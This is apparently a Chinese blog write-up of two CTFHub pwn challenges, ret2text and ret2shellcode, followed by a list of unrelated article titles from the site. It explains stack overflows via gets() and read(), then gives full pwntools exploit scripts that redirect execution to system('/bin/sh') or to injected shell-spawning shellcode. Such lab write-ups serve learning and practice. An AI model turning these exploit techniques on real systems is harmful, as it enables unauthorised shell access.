一、ret2text

  1. 例行检查,64位程序,没有开启任何保护
  2. 本地运行一下情况,看看大概的情况
  3. 64位ida载入,检索程序里的字符串发现了bin/sh

    要满足条件才可以执行,但是我们可以直接跳转到0x4007B8去system(‘/bin/sh’)
  4. 看main函数

    第8行,gets函数读入没有限制数据的长度,明显的溢出,溢出ret到执行system(‘/bin/sh’)的地址即可
from pwn import *

#p=process('./pwn1')
p=remote("challenge-79d4d6a23952a67b.sandbox.ctfhub.com",24293) payload='a'*(0x70+8)+p64(0x4007b8) p.sendline(payload) p.interactive()

二、ret2shellcode

  1. 例行检查,64位程序,仍然未开启任何保护
  2. 本地运行一下,看看大概的情况,可以看到,给了我们一个栈上的地址
  3. 64位ida载入,看main函数

    一开始给了我们参数buf在栈上的地址,然后读入buf,12行,buf只有0x10,但是读入了0x400,明显的溢出漏洞
  4. 这题没有给我们提供现成的后门,加上没有nx保护,可以直接执行shellcode来获取shell
    设置一下环境参数,之后直接用pwntools生成shellcode
context.arch = 'amd64'
shellcode = asm(shellcraft.sh())
  1. 有了shellcode,然后就是shellcode写到哪里的问题
    本地运行的时候加上上图的代码,可以知道一开始输出了buf参数的地址,接收一下就获得了栈上的地址
buf_addr = p.recvuntil("]")
buf_addr = int(buf_addr[-15:-1], 16)

我们将shellcode写入ret,这样程序在返回的时候就直接去执行我们的shellcode了
所以我们的shellcode的地址是,0x10是buf的大小,第一个0x8是ebp,第二个是ret

shellcode_addr = buf_addr + 0x10+0x8+0x8
  1. shellcode有了,shellcode的地址也有了,现在只要往这个地址传入shellcode即可完成利用
payload = 'a' * 24 + p64(shellcode_addr) + shellcode

完整exp:

#coding=utf-8
from pwn import *
import re #context.log_level = "debug"
context.arch = 'amd64' p=remote("challenge-b841961e5e4c03f8.sandbox.ctfhub.com",37282) #p=process('./pwn2')
#gdb.attach(p) buf_addr = p.recvuntil("]") buf_addr = int(buf_addr[-15:-1], 16) shellcode_addr = buf_addr + 32 shellcode = asm(shellcraft.sh()) payload = 'a' * 24 + p64(shellcode_addr) + shellcode
p.recv()
p.sendline(payload)
p.interactive()

技能树的题目现在就出了这么多,出了新的继续更新,接下来尝试历年真题

最新文章

  1. UITabBarController 更改tabbariteam上的选中图片
  2. 通过百度地图API将百度坐标转换成GPS经纬度
  3. DevExpress z
  4. [Mugeda HTML5技术教程之7]添加动画
  5. MongoDB用户
  6. 并查集(Java实现)
  7. 一.Kylin的伪分布式安装
  8. springMVC源码分析--国际化实现Session和Cookie(二)
  9. 一个极为简单的方法实现本地(离线)yum安装rpm包
  10. Python(一)缺点
  11. iOS 第三方框架-MJExtension
  12. sed常见用法总结
  13. Randoop介绍、安装及环境变量配置
  14. How to get the value of a form element : check box and radio button
  15. 阿里云 Caused by: redis.clients.jedis.exceptions.JedisDataException: ERR invalid password
  16. poj 1182 (带权并查集)
  17. 大数据入门第二天——基础部分之zookeeper(下)
  18. JAVA Date、String、Calendar类型之间的转化
  19. GCD基础
  20. 关于antd-mobile中列表上拉加载PullToRefresh的使用

热门文章

  1. python实现Canny边缘检测
  2. 由于vue的for循环id并不严谨,提高id严谨性
  3. layui某个字段不让页面显示显示
  4. mybatis-批量操作数据(list对象 )
  5. Java LinkedList小记
  6. Codeforces 506E - Mr. Kitayuta's Gift(神仙矩阵乘法)
  7. [R] venn.diagram保存pdf格式文件?
  8. Python基础之变量与常量
  9. mysql—从字符串中提取数字(类型1)
  10. 39-Remove Duplicates from Sorted Array